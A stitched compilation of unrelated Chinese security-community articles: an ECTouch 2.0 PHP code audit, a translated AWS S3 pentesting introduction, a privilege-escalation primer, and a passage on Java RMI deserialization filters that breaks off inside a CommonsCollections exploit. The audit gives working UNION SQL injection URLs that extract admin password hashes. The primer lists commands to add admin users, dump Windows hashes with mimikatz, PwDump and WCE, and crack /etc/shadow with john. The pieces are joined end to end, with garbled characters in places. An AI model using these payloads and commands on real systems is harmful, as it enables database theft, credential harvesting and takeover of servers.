`http://127.0.0.1:8888/ecshop/upload/mobile/?m=default&c=Category&a=index&price_max=1.0union
select password from ecs_admin_user order by count desc limit 1%23`
跟进下程序执行:
`$count = model('Category')->category_get_count($this->children, $this->brand,
$this->type, $this->price_min, $this->price_max, $this->ext,
$this->keywords);`
执行完这个语句后可以看到:
是正常的,继续走,下一句发现程序mysql错误,停止执行,那么跟进看下原因
private function category_get_goods()
{
................................
}
if ($this->brand > 0) {
$where .= "AND g.brand_id=$this->brand ";
}
if ($this->price_min > 0) {
$where .= " AND g.shop_price >= $this->price_min ";
}
if ($this->price_max > 0) {
$where .= " AND g.shop_price <= $this->price_max "; //再次拼接这个变量
}
$sql = 'SELECT g.goods_id, g.goods_name, g.goods_name_style, g.market_price, g.is_new, g.is_best, g.is_hot, g.shop_price AS org_price, g.last_update,' . "IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS shop_price, g.promote_price, g.goods_type, g.goods_number, " .
'g.promote_start_date, g.promote_end_date, g.goods_brief, g.goods_thumb , g.goods_img, xl.sales_volume ' . 'FROM ' . $this->model->pre . 'goods AS g ' . ' LEFT JOIN ' . $this->model->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' . ' LEFT JOIN ' . $this->model->pre . 'member_price AS mp ' . "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' " . "WHERE $where $this->ext ORDER BY $sort $this->order LIMIT $start , $this->size";
$res = $this->model->query($sql);
这里可以看出来`WHERE $where $this->ext`
这里又拼接进去查询了,然而这里有11列,那么查询肯定报错(前面是1列),这里我对比了下两个函数的代码,发现他们没有任何差别,所以这里很遗憾没办法进行绕过。
> 但是这里我衍生下攻击思路:
>
>
> 比如第二个函数里面有第二个参数可控的话,并且在前面,而第一个函数没有的话,那么我们控制第二个函数的那个参数,去注释掉我们第一个函数的第一个参数,不让mysql出错,这样就可以达到回显注入了。
这个点可以说是我感觉比较好玩的点了。
**总结来说下:**
这个点依然是半限制的盲注,时间盲注是通杀的,但是可以考虑布尔盲注,自己寻找下差异构造就行了。
## 0x8 前台FLOW cart_label_count $goods_id 半限制SQL注入
public function cart_label_count(){
$goods_id = I('goods_id',''); //没有intval处理
$parent_id = I('parent_id','');
if($parent_id ){
$shop_price = $this->model->table('goods')->where(array('goods_id'=>$parent_id))->field('shop_price')->getOne();
}
if($goods_id) {
$sql = "select g.shop_price ,gg.goods_price from " . $this->model->pre ."group_goods as gg LEFT JOIN " . $this->model->pre . "goods as g on gg.goods_id = g.goods_id " . "where gg.goods_id in ($goods_id) and gg.parent_id = $parent_id "; //拼接
$count = $this->model->query($sql);
}
$num=0;
if(count($count)>0){
foreach($count as $key){
$count_price += floatval($key['goods_price']);
$num ++;
}
}else{
$count_price = '0.00';
}
if($shop_price){
$count_price += floatval($shop_price);
$num += 1;
}
$result['content'] = price_format($count_price);
$result['cart_number'] = $num;
die(json_encode($result));
`where gg.goods_id in ($goods_id)` 这里直接拼接了进去导致了注入
if(count($count)>0){
foreach($count as $key){
$count_price += floatval($key['goods_price']);
$num ++;
}
}else{
$count_price = '0.00';
}
这里做了个强制转换,导致不能把结果带出来,可以考虑布尔盲注
## 0x9 前台 User $rec_id 多处注入
### 0x9.1 del_attention() 半限制SQL注入
public function del_attention() {
$rec_id = I('get.rec_id', 0); //直接获取
if ($rec_id) {
$this->model->table('collect_goods')->data('is_attention = 0')->where('rec_id = ' . $rec_id . ' and user_id = ' . $this->user_id)->update();
}
$this->redirect(url('collection_list'));
}
### 0x9.2 add_attention() 半限制SQL注入
public function add_attention() {
$rec_id = I('get.rec_id', 0); //直接获取
if ($rec_id) {
$this->model->table('collect_goods')->data('is_attention = 1')->where('rec_id = ' . $rec_id . ' and user_id = ' . $this->user_id)->update();
}
$this->redirect(url('collection_list'));
}
### 0x9.3 aftermarket_done 无限制SQL注入
public function aftermarket_done() {
/* 判断是否重复提交申请退换货 */
$rec_id = empty($_REQUEST['rec_id']) ? '' : $_REQUEST['rec_id']; //控制输入
....................................
if ($rec_id) {
$num = $this->model->table('order_return')
->field('COUNT(*)')
->where(array('rec_id' => $rec_id))
->getOne();
} else {
show_message(L('aftermarket_apply_error'), '', '', 'info', true);
}
$goods = model('Order')->order_goods_info($rec_id); /* 订单商品 */ //这里也是注入
$claim = $this->model->table('service_type')->field('service_name,service_type')->where('service_id = ' . intval(I('post.service_id')))->find(); /* 查询服务类型 */
$reason = $this->model->table('return_cause')->field('cause_name')->where('cause_id = ' . intval(I('post.reason')))->find(); /* 退换货原因 */
$order = model('Users')->get_order_detail($order_id, $this->user_id); /* 订单详情 */
if (($num > 0)) {
/* 已经添加 查询服务订单 */
$order_return = $this->model->table('order_return')
->field('ret_id, rec_id, add_time, service_sn, return_status, should_return,is_check,service_id')
->where('rec_id = ' . $rec_id) //拼接变量
->find(); //where注入
$ret_id = $order_return['ret_id'];
} else {
`$goods = model('Order')->order_goods_info($rec_id); /* 订单商品 */ //这里也是注入`
$order_return = $this->model->table('order_return')
->field('ret_id, rec_id, add_time, service_sn, return_status, should_return,is_check,service_id')
->where('rec_id = ' . $rec_id) //拼接变量
->find(); //where注入
$ret_id = $order_return['ret_id'];
这个注入需要条件比较多,自己跟下代码就好了。
你们可以继续分析下:
`public function check_aftermarket($rec_id)` //OrderModel.class.php:
`function order_goods_info($rec_id)`//OrderModel.class.php
`function aftermarket_goods($rec_id)` //OrderModel.class.php
`function get_cert_img($rec_id)`//OrderModel.class.php
`public function check_aftermarket($rec_id)`//UsersModel.class.php
里面都是直接拼接,可以全局搜索下调用地方,如果没有intval那么就是注入点了,我当时看了下没什么发现
## 0x10 (0day?)前台多处无条件无限制完美SQL注入
这个无限制注入的挖掘过程,还是耐心吧,找调用,找返回。
### 0x10.1 Exchange asynclist_list $integral_max $integral_min无限制注入
直接看payload:
`http://127.0.0.1:8888/ecshop/upload/mobile/index.php?c=Exchange&a=asynclist_list&integral_max=1.0union
select 1,password,3,password,5,user_name,7,8,9,10,11 from ecs_admin_user order
by goods_id asc%23`
分析一波:
`upload/mobile/include/apps/default/controllers/ExchangeController.class.php`
public function asynclist_list() {
$this->parameter();//跟进这里
$asyn_last = intval(I('post.last')) + 1;
$this->page = I('post.page');
$list = model('Exchange')->exchange_get_goods($this->children, $this->integral_min, $this->integral_max, $this->ext, $this->size,
$this->page, $this->sort, $this->order);
die(json_encode(array('list' => $list))); //这个die好东西,直接输出结果了
exit();
}
这里需要跟进二个函数:
1.`$this->parameter();` 作用获取:
`$this->children, $this->integral_min, $this->integral_max`
2.`model('Exchange')->exchange_get_goods` 作用拼接造成sql
分析1
private function parameter() {
// 如果分类ID为0，则返回总分类页
$page_size = C('page_size');
$this->size = intval($page_size) > 0 ? intval($page_size) : 10;
$this->page = I('request.page') ? intval(I('request.page')) : 1;
$this->ext = '';
$this->cat_id = I('request.cat_id');
$this->integral_max = I('request.integral_max');//获取
$this->integral_min = I('request.integral_min');//
分析2
function exchange_get_goods($children, $min, $max, $ext, $size, $page, $sort, $order) {
$display = $GLOBALS['display'];
$where = "eg.is_exchange = 1 AND g.is_delete = 0 AND " .
"($children OR " . model('Goods')->get_extension_goods($children) . ')';
if ($min > 0) {
$where .= " AND eg.exchange_integral >= $min ";
}
if ($max > 0) {
$where .= " AND eg.exchange_integral <= $max ";//直接拼接导致注入
}
/* 获得商品列表 */
$start = ($page - 1) * $size;
$sort = $sort == 'sales_volume' ? 'xl.sales_volume' : $sort;
$sql = 'SELECT g.goods_id, g.goods_name, g.market_price, g.goods_name_style,g.click_count, eg.exchange_integral, ' .
'g.goods_type, g.goods_brief, g.goods_thumb , g.goods_img, eg.is_hot ' .
'FROM ' . $this->pre . 'exchange_goods AS eg LEFT JOIN ' . $this->pre . 'goods AS g ' .
'ON eg.goods_id = g.goods_id ' . ' LEFT JOIN ' . $this->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' .
" WHERE $where $ext ORDER BY $sort $order LIMIT $start ,$size ";//拼接
$res = $this->query($sql);
关于利用怎么返回注入内容参考我前面说的,payload用了order by排序来绕过,你们可以参考本文去debug,
因为写到这里,我觉得不再必要去细细再讲一次,你们动手debug可能会更好。
public function asynclist()
{
$this->parameter();
$this->assign('show_marketprice', C('show_marketprice'));
$asyn_last = intval(I('post.last')) + 1;
$this->size = I('post.amount');
$this->page = ($asyn_last > 0) ? ceil($asyn_last / $this->size) : 1;
$goodslist = $this->category_get_goods();
foreach ($goodslist as $key => $goods) {
$this->assign('goods', $goods);
$sayList[] = array(
'single_item' => ECTouch::view()->fetch('library/asynclist_info.lbi')
);
}
die(json_encode($sayList));
exit();
}
/**
* 异步加载商品列表
*/
public function async_list()
{
$this->parameter();
$this->assign('show_marketprice', C('show_marketprice'));
$this->page = I('post.page');
$goodslist = $this->category_get_goods();
die(json_encode(array('list' => $goodslist)));
exit();
}
### 0x10.2 category asynclist price_max无限制注入
Payload:`http://127.0.0.1:8888/ecshop/upload/mobile/index.php?c=category&a=asynclist&price_max=1.0union
select 1,user_name,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from
ecs_admin_user order by goods_id asc limit 1%23`
public function asynclist()
{
$this->parameter();
$this->assign('show_marketprice', C('show_marketprice'));
$asyn_last = intval(I('post.last')) + 1;
$this->size = I('post.amount');
$this->page = ($asyn_last > 0) ? ceil($asyn_last / $this->size) : 1;
$goodslist = $this->category_get_goods(); //注入
foreach ($goodslist as $key => $goods) {
$this->assign('goods', $goods);
$sayList[] = array(
'single_item' => ECTouch::view()->fetch('library/asynclist_info.lbi')
);
}
die(json_encode($sayList));
exit();
}
### 0x10.3 category async_list $price_max无限制注入
Payload:
`http://127.0.0.1:8888/ecshop/upload/mobile/index.php?c=category&a=async_list&price_max=1.0union
select 1,user_name,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from
ecs_admin_user order by goods_id asc limit 1%23`
public function async_list()
{
$this->parameter();
$this->assign('show_marketprice', C('show_marketprice'));
$this->page = I('post.page');
$goodslist = $this->category_get_goods();
die(json_encode(array('list' => $goodslist)));
exit();
}
还有好几处我就不想继续去分析了,你们可以继续去寻找看看,寻找方法看我总结搜索即可。
**总结下这几个注入:**
原因1:`$max $min`这些相关的值没有intval处理,可以利用php弱类型绕过,其他点用intval处理了。神奇+1
原因2:直接拼接变量
(1)`ActivityModel.class.php`
`function category_get_count($children, $brand, $goods, $min, $max, $ext)`
`function category_get_goods`
(2`CategoryModel.class.php`
`function category_get_count`
`function get_category_recommend_goods`
(3)`ExchangeModel.class.php`
`function exchange_get_goods`
`function get_exchange_goods_count`
修复建议:可控变量intval处理
## 0x11 代码审计SQL注入总结
SQL注入没什么总结的,寻找可控,跟踪变量,sql注入三部曲。
但是这次审计改变了我很多看法,以前我总是觉得,有了全局过滤,那么注入应该比较少了,所以我第一次就是抱着这样消极的想法,所以没审计出漏洞,但是后来我听说phpoop师傅也审计过这个cms的前台注入,我一下子干劲就上来了,认真读了代码,果然收获颇丰。
最后介绍下ECTOUCH2.0还可寻找注入漏洞的点,关注下处理变量的函数。
154: $json = new EcsJson;
155: $goods = $json->decode($_POST ['goods']);
比如这些,我当时简单读了下
function decode($text, $type = 0) { // 榛樿?type=0杩斿洖obj,type=1杩斿洖array
if (empty($text)) {
return '';
} elseif (!is_string($text)) {
return false;
}
if (EC_CHARSET === 'utf-8' && function_exists('json_decode')) {
return addslashes_deep_obj(json_decode(stripslashes($text), $type));
}
$this->at = 0;
$this->ch = '';
$this->text = strtr(stripslashes($text), array(
"r" => '', "n" => '', "t" => '', "b" => '',
"x00" => '', "x01" => '', "x02" => '', "x03" => '',
"x04" => '', "x05" => '', "x06" => '', "x07" => '',
"x08" => '', "x0b" => '', "x0c" => '', "x0e" => '',
"x0f" => '', "x10" => '', "x11" => '', "x12" => '',
"x13" => '', "x14" => '', "x15" => '', "x16" => '',
"x17" => '', "x18" => '', "x19" => '', "x1a" => '',
"x1b" => '', "x1c" => '', "x1d" => '', "x1e" => '',
"x1f" => ''
));
$this->next();
$return = $this->val();
$result = empty($type) ? $return : $this->object_to_array($return);
return addslashes_deep_obj($result);
}
也是做了过滤,可以考虑下组合之类的,这可能是我进阶代码审计需要学习的了。
## 0x12 感受
从第一次审计没有收获到第二次收获满满的注入点,我感觉到了php代码审计的极大魅力。接下来，因为注入我觉得基本饱和了,所以不打算对注入再进行其他分析啥的,但是我会继续审计其他漏洞,比如xss,逻辑漏洞,xxe(考完试就写这个),这些漏洞我也不知道存不存在，但是我还是会把过程记录下来供你们参考(ps:希望大佬不要介意小菜的垃圾见解,希望大佬多多指点),最后希望回首的时候,这些续集文章能见证我的php代码审计成长之路,come
on! | 社区文章 |
# 【技术分享】AWS渗透测试（Part 1）：S3 Buckets
|
##### 译文声明
本文是翻译文章，文章来源：virtuesecurity.com
原文地址：<https://www.virtuesecurity.com/blog/aws-penetration-testing-s3-buckets/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
亚马逊云服务平台（AWS，Amazon Web
Services）面向现代Web应用提供了一套非常强大又非常可靠的基础架构。随着Web服务不断涌现新的功能，我们也需要更新安全理念。对于渗透测试人员来说，有时候某些AWS服务可能会给渗透测试带来挑战。
在这一系列文章中，我们会详细分析AWS服务、常见的漏洞以及错误配置情况，也会介绍如何使用自动化工具对每个服务进行全方位的安全测试。希望渗透测试人员阅读本文后，可以使用我们研发的AWS
BurpSuite扩展来评估AWS S3 buckets的安全性。
我们研发了一个BurpSuite插件：[AWS Extender](https://github.com/VirtueSecurity/aws-extender)，这个插件可以从代理流量中识别并评估S3 buckets。此外，该插件也可以识别身份池（identity pools）、Google
Cloud以及微软Azure服务。
工具下载地址为：
[**AWS Extender Burp插件**](https://github.com/VirtueSecurity/aws-extender)
[**AWS Extender CLI**](https://github.com/VirtueSecurity/aws-extender-cli)
**二、Amazon Simple Storage Service (S3)**
****
自2006年3月推出以来，亚马逊S3（简单云存储服务）已经成为非常受欢迎的对象（object）存储服务，S3提供了可扩展的存储架构，目前正托管数万亿个对象。尽管S3可以托管静态网站，但它本身并不支持代码执行或者任何编程功能。S3只能通过[REST](https://en.wikipedia.org/wiki/Representational_state_transfer)、[SOAP](https://en.wikipedia.org/wiki/SOAP)以及[BitTorrent](http://docs.aws.amazon.com/AmazonS3/latest/dev/S3TorrentRetrieve.html)
web接口来提供存储服务，支持静态文件的读取、上传以及删除。
亚马逊为S3 bucket提供了多种不同的访问控制机制，包括访问控制列表（ACL）、bucket策略以及IAM（Identity and Access
Management）策略。默认情况下，亚马逊在创建S3 bucket时会为它设置一个默认ACL，以便bucket所有者掌握该bucket的所有权限。
**三、S3渗透测试基础**
****
每个web应用渗透测试人员都应该注意以下几个要点：
所有的S3 bucket都共享一个全局命名方案，因此无法阻止对bucket的枚举遍历。
所有的S3 bucket都有一个DNS入口，形式为 **[bucketname].s3.amazonaws.com** 。
我们可以通过bucket的HTTP 接口（ **https://[bucketname].s3.amazonaws.com**
）来访问bucket，当然也可以使用非常强大的[AWS
CLI](http://docs.aws.amazon.com/cli/latest/userguide/installing.html)来访问：
apt-get install awscli
aws s3 ls s3://mybucket
**四、常见的S3漏洞**
****
如果你是AWS或者S3的新手，你需要注意以下几种常见漏洞：
**Bucket未授权访问** ：顾名思义，经过错误配置后，匿名用户就可以列出、读取或者写入S3 bucket。
**Bucket半公开访问** ：经过配置后，“通过身份认证的用户”就可以访问S3
bucket。这就意味着只要经过AWS的认证，任何人都可以访问这些资源。我们需要拥有有效的AWS access key以及secret才能测试这种情况。
**ACL权限错误**
：Bucket的ACL也有相应的权限，然而许多情况下所有人都可以读取这个信息。这并不代表bucket本身出现错误配置情况，然而我们可以借此了解哪些用户拥有什么类型的访问权限。
**五、访问控制列表（ACL）**
****
S3访问控制列表（ACL）可以应用在bucket层以及对象层。ACL通常支持如下几种权限：
**读取（READ）**
在bucket层，该权限允许用户列出bucket中的对象。在对象层，该权限允许用户读取对象的内容及元数据。
**写入（WRITE）**
在bucket层，该权限允许用户创建、覆盖以及删除bucket中的对象。
**读取访问控制策略（READ_ACP）**
在bucket层，该权限允许用户读取bucket的访问控制列表。在对象层，该权限允许用户读取对象的访问控制列表。
**写入访问控制策略（WRITE_ACP）**
在bucket层，该权限允许用户设置bucket的ACL。在对象层，该权限允许用户设置对象的ACL。
**完全控制（FULL_CONTROL）**
在bucket层，该权限等同于向用户许可“READ”、“WRITE”、“READACP”以及“WRITEACP”权限。在对象层，该权限等同于向用户许可“READ”、“READACP”以及“WRITEACP”权限。
在这里，待授权的用户可以是独立的AWS用户，由用户ID以及邮箱来标识，也可以是如下某个预定义的组：
**认证用户组（The Authenticated Users Group）**
该组代表所有的AWS用户，对应“http://acs.amazonaws.com/groups/global/AuthenticatedUsers”
这个URI。
**所有用户组（The All Users Group）**
代表所有用户（包括匿名用户），对应“http://acs.amazonaws.com/groups/global/AllUsers” 这个URI。
**日志传输组（The Log Delivery Group）**
仅用于访问日志记录，对应“http://acs.amazonaws.com/groups/s3/LogDelivery” 这个URI。
**ACL示例如下所示：**
<?xml version="1.0" encoding="UTF-8"?>
<AccessControlPolicy xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Owner>
<ID>*** Owner-Canonical-User-ID ***</ID>
<DisplayName>owner-display-name</DisplayName>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="Canonical User">
<ID>*** Owner-Canonical-User-ID ***</ID>
<DisplayName>display-name</DisplayName>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>
AWS Extender Burp扩展可以处理前面提到过的所有权限。也就是说，当识别出某个S3 bucket后，该扩展可以执行如下测试：
1、尝试列出bucket中托管的对象（READ）。
2、尝试将一个“test.txt”文件上传到bucket中（WRITE）。
3、尝试读取bucket的访问控制列表（READ_ACP）。
4、在不修改bucket的访问控制列表的前提下，尝试设置bucket的访问控制列表（WRITE_ACP）。
注意：对于识别出来的每个S3对象，该扩展也执行了类似的测试。
**六、Bucket策略**
****
Bucket所有者可以通过bucket策略来设定操作主体（principal）能够在某个资源上执行什么操作。这里的principal可以为任意AWS用户或组，也可以是包含匿名用户在内的所有用户；action可以是bucket策略支持的任何预定义权限；而resource可以为整个bucket，也可以是某个特定的对象。bucket策略以JSON格式表示，如下所示：
{
"Version":"2012-10-17",
"Statement": [
{
"Effect":"Allow",
"Principal": "*",
"Action":["s3:GetObject"],
"Resource":["arn:aws:s3:::examplebucket/*"]
}
]
}
上面这个策略允许在“ **arn:aws:s3:::examplebucket/*** ”资源上执行“ **s3:GetObject**
”操作，principal使用通配符“*”来表示。这实际上等同于使用访问控制列表（ACL）来赋予所有用户组拥有“examplebucket”这个S3
bucket的“READ”权限。
AWS Extender Burp扩展目前支持如下权限：
s3:ListBucket
s3:ListMultipartUploadParts
s3:GetBucketAcl
s3:PutBucketAcl
s3:PutObject
s3:GetBucketNotification
s3:PutBucketNotification
s3:GetBucketPolicy
s3:PutBucketPolicy
s3:GetBucketTagging
s3:PutBucketTagging
s3:GetBucketWebsite
s3:PutBucketWebsite
s3:GetBucketCORS
s3:PutBucketCORS
s3:GetLifecycleConfiguration
s3:PutLifecycleConfiguration
s3:PutBucketLogging
在第二篇文章中，我们会介绍S3权限方面的更多内容，包括IAM、访问令牌（access
token）以及EC2、Cognito认证等等。读者可以继续阅读本系列的第二篇文章。 | 社区文章 |
## 前言：
无论是CTF赛题还是渗透测试，有很多时候拿到WebShell的权限并不高，没有办法继续深入，所以需要进行提权操作，方便下一步的进行。
## 基础知识
#### 0x00:什么是提权
> 提高自己在服务器中的权限，主要针对网站入侵过程中，当入侵某一网站时，通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。
简单的一句话就是`权限提升`。例如：
Windows：User >> System
Linux：User >> Root
#### 0x01:什么情况下使用提权
> 一般会产生提权的原因是因为当前权限无法做到某些我们需要做到的事情
以下这几种会产生提权
Webshell权限
数据库权限（如拿到数据库的user权限）
普通用户权限
因为服务器有Linux的，也有Windows的，所以要先进行提权首先要先了解各个系统权限高低的划分。
#### 0x02:Windows下的权限划分
Windows是一个支持多用户、多任务的操作系统，这是权限设置的基础，一切权限设置都是基于用户和进程而言的，不同的用户在访问这台计算机时，将会有不同的权限。
**WindowsNT用户组：**
* `Administrators`：管理员组，默认情况下，Administrators中的用户对计算机/域有不受限制的完全访问权。
* `Power Users`：高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。
* `Users`：普通用户组,这个组的用户无法进行有意或无意的改动。
* `Guests`：来宾组,来宾跟普通Users的成员有同等访问权，但来宾帐户的限制更多
* `Everyone`：所有的用户，这个计算机上的所有用户都属于这个组。
#### 0x03:Linux下的权限划分
在Linux系统中，用户是分角色的，角色不同，对应权限不同。用户角色通过UID和GID识别。特别是UID，一个UID是唯一标识一个系统用户的账号。
* `超级用户（0）`：默认是root用户，其UID和GID都是0。root用户在每台Unix和Linux系统中都是唯一且真是存在的，通过它可以登陆系统，操作系统中任何文件执行系统中任何命令，拥有最高管理权限。
* `普通用户（1~499）`：系统中大多数用户都是普通用户，实际中也一般使用普通用户操作，需要权限是用sudo命令提升权限。
* `虚拟用户（500~65535）`：与真实的普通用户区分开来，这类用户最大特点是安装系统后默认就会存在，且默认情况大多数不能登陆系统，其在/etc/passwd文件中，最后字段为/sbin/nologin。是系统正常运行不可缺少的，主要是方便系统管理，满足相应的系统进程对文件属主的要求
#### 0x04:Windows基础命令
query user //查看用户登陆情况
whoami //当前用户权限
systeminfo //查看当前系统版本与补丁信息（利用系统较老，没有打对应补丁来进行提权）
ver //查看当前服务器操作系统版本
Net start //查看当前计算机开启服务名称
#添加管理员用户
net user username(用户名) password(密码) /add
(先添加一个普通用户)
net localgroup adminstrators username /add
(把这个普通用户添加到管理员用户的组中)
如果远程桌面连接不上可以添加远程桌面组
net localgroup "Remote Desktop Users" username /add
netstat -ano //查看端口情况
tasklist //查看所有进程占用的端口
taskkil /im 映像名称.exe /f //强制结束指定进程
taskkil -PID pid号 //结束某个pid号的进程
#### 0x05:Linux基础命令
查看发行版
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
#### 0x06:常用提权方法
如果拿到`Webshell`权限，可以从以下几个方面进行提权
如果拿到的是`数据库权限`，可以使用下面方法进行提权
拿到的如果是`普通用户`权限，可以从这几个方面入手
## 实践—基于密码破解的提权
#### 0x01:环境准备
实验环境:
Windows Server 2003
#### 0x02:Windows密码原理
Windows使用使用两种方法对`用户密码`进行哈希处理
1. `LAN Manager(LM)`哈希
2. `NTLAN Manager(NTLM)`哈希
Windows的`系统密码`hash默认情况下由两部分组成
1. 第一部分：`LM-hash`
2. 第二部分：`NTLM-hash`
格式为：
用户名:RID:LM-HASH值:NT-HASH值
如果已知HASH值，可以通过在线查询得到密码明文
<http://cracker.offensive-security.com/index.php>
<https://www.objectif-securite.ch/ophcrack>
如果得到对应的hash值，便可以利用上面的网站进行破解，但要怎样抓取想要的hash值哪？可以通过以下的方法：
1. 导出导入`SAM、system`文件
2. `gethashs`导出
3. `Pwdump`导出
4. `Wce`导出
#### 0x03:抓取hash及暴力破解
在`C:\windows\system32`目录下，如果直接去移动SAM文件会出现
必须使用工具进行导出操作（需管理员运行才行）
除此之外，还可以使用其他方法获取到该文件
**Quarks PwDump**
Quarks PwDump -dh1 // 导出本地哈希值
Quarks PwDump -dhdc // 导出内存中域账户哈希值
Quarks PwDump -dhd // 导出域哈希值（指定NTDS文件）
**WCE**
wce -a //获取所有账户哈希值
获取到了hash，便可以利用以下工具进行暴力破解
Saminside字典破解
Ophcrack加载彩虹表破解
#### 0x04:Windows明文密码抓取
1. `Wce`明文密码获取
2. `Mimikatz`明文密码获取
privilege::debug
sekurlsa::logonpasswords
1. `Getpass`明文密码获取
#### 0x04:Linux密码原理
在Linux系统中，涉及系统登陆密码的重要文件有两个：
/etc/passwd
#用户信息
/etc/shadow
#密码信息
**Linux密码文件存放位置**
Linux:/etc/shadow
AIX3:/etc/security/passwd
HP-UX:/.secure/etc/passwd
Linux操作系统采用5中常用的加密算法，主要通过账号后面的`$x`进行判断
$1:Md5加密算法
$2:Blowfish加密算法
$5:sha-256加密算法
$6:sha-512加密算法
其他均为标准DES加密算法
#### 0x05:Linux密码破解
使用工具`john`进行破解，具体步骤如下：
首先使用`unshadow`命令结合`/etc/passwd`的数据和`/etc/shadow`的数据，创建1个含有用户名和密码详细信息的文件。
unshadow /etc/passwd /etc/shadow > shadow
生成一个名为`shadow`的密码文件，接下来使用john自带的密码字典进步暴力破解
（密码字典位于`/usr/share/john/password.lst`）
john --wordlist=/usr/share/john/password.lst --rules shadow
破解成功，如果需要想要查看结果，也可以使用如下命令
john --show shadow
#### 横向渗透与纵向渗透
密码破解的提权主要作用是方便在内网做渗透，而内网渗透又涉及到两个名词，一个是`横向渗透`，一个是`纵向渗透`。
`横向渗透`就是已经拿到了目标内网中的部分主机，即已经进入对方的内网环境。利用最先得到的主机，以及之后新得到的主机，会成为突破口、跳板，进一步攻击内网中其他的主机。密码的破解主要就运用在横向渗透中。
纵向渗透简单理解就是
1.匿名访问
2.进入后台
3.拿到webshell
4.最终拿到系统权限
(以一台主机为例)
## 总结
基础知识掌握后，下次就来学习下Windows操作系统提权和Linux操作系统提权
## 参考博客
<https://www.cnblogs.com/y0umer/archive/2011/03/23/3839041.html>
<https://blog.csdn.net/FunkyPants/article/details/78648109> | 社区文章 |
## RMI中的实现
### 过滤器的创建
我们在创建一个注册中心的时候调用的是
LocateRegistry.createRegistry(1099);
我们跟进一下`createRegistry`方法
返回的是一个`RegistryImpl`对象，跟进其构造方法
如果开启了开放端口为`1099`并且开启了`SecurityManager`策略
将会进入if语句中进行处理，我这里进入的是else语句
将会创建一个`LiveRef`对象，传入了`RegistryImpl`的ObjID(0)和端口号
之后创建了一个`UnicastServerRef`对象，传入了前面的LiveRef对象和`RegistryImpl::registryFilter`
所以我们知道其分别是将参数一和参数二传入了`ref`属性和`filter`属性中
我们看看`RegistryImpl::registryFilter`的写法
在上面JEP Basic中也提到了，因为
存在有`@FunctionalInterface`接口，所以能够通过Lambda的形式写入，这里就是这种写法
将这个RMI中内置的过滤器传入了`filter`属性中去
之后调用了`RegistryImpl#setup`进行设置
将创建的`UnicastServerRef`对象传入`RegistryImpl`类对象的`ref`属性中，之后通过调用`UnicastServerRef#exportObject`进行对象导出
在这里主要是将其封装成了一个`Target`对象
之后调用了`LiveRef#exportObject`进行导出
在后面存在有端口的监听
也有着将`Target`对象放入了`ObjectTable`中
在后面也导出了内置的`bind / rebind / list / lookup`等方法
最后在处理方法的调用的时候，将会调用`Transport#serviceCall`方法
首先从输入流中读取ObjID值，根据对应的ID获取Target对象，之后调用`getDispatcher`获取其中的`disp`属性
也就是前面提到的，传入的`UnicastServerRef`对象
之后调用到了`UnicastServerRef#dispatch`进行分发
在这里因为`skel`属性不为空，所以将会调用`oldDispatch`方法
在其方法中存在有`unmarshalCustomCallData`方法的调用
跟进一下
将会调用`Config.setObjectInputFilter`方法，进而调用`ObjectInputStream#setInternalObjectInputFilter`方法将前面Registry创建过程中设置的`RegistryImpl::registryFilter`这个filter传入
这里也体现了RMI的实现是一个局部过滤的操作
### 拦截的细节
上面已经传入了过滤器，之后就是为什么会被拦截
可以跟着跟进到`RegistryImpl_Skel#dispatch`方法，进行分发
根据不同的方法的调用，进入不同的case语句中，我这里是`rebind`的调用，来到了case 3语句
按理说，漏洞的触发点在`readObject`方法的调用部分，我们跟进一下
这里就是很常见的反序列化过程
registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:135, RegistryImpl_Skel (sun.rmi.registry)
在`ObjectInputStream#readProxyDesc`方法调用中
将会调用`filterCheck`方法，跟进
这里因为前面存在`serialFilter`的赋值, 也就是前面的`registryFilter`，所以将会调用他的`checkInput`方法
在这里在调用`serialClass`方法获取实例类之后，将会进行白名单判断，是否是
1. String
2. Number
3. Remote
4. Proxy
5. UnicastRef
6. ...
一个拦截的示例
首先是一个注册端
public class Registry {
//注册使用的端口
public static void main(String[] args) throws RemoteException {
LocateRegistry.createRegistry(1099);
System.out.println("server start!!");
while (true);
}
}
之后是一个服务段，rebind了一个恶意的对象
public class RMIClientAttackDemo2 {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException, NoSuchMethodException {
//仿照ysoserial中的写法，防止在本地调试的时候触发命令
Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
//实例化
TiedMapEntry tme = new TiedMapEntry(outMap, "key");
Map expMap = new HashMap();
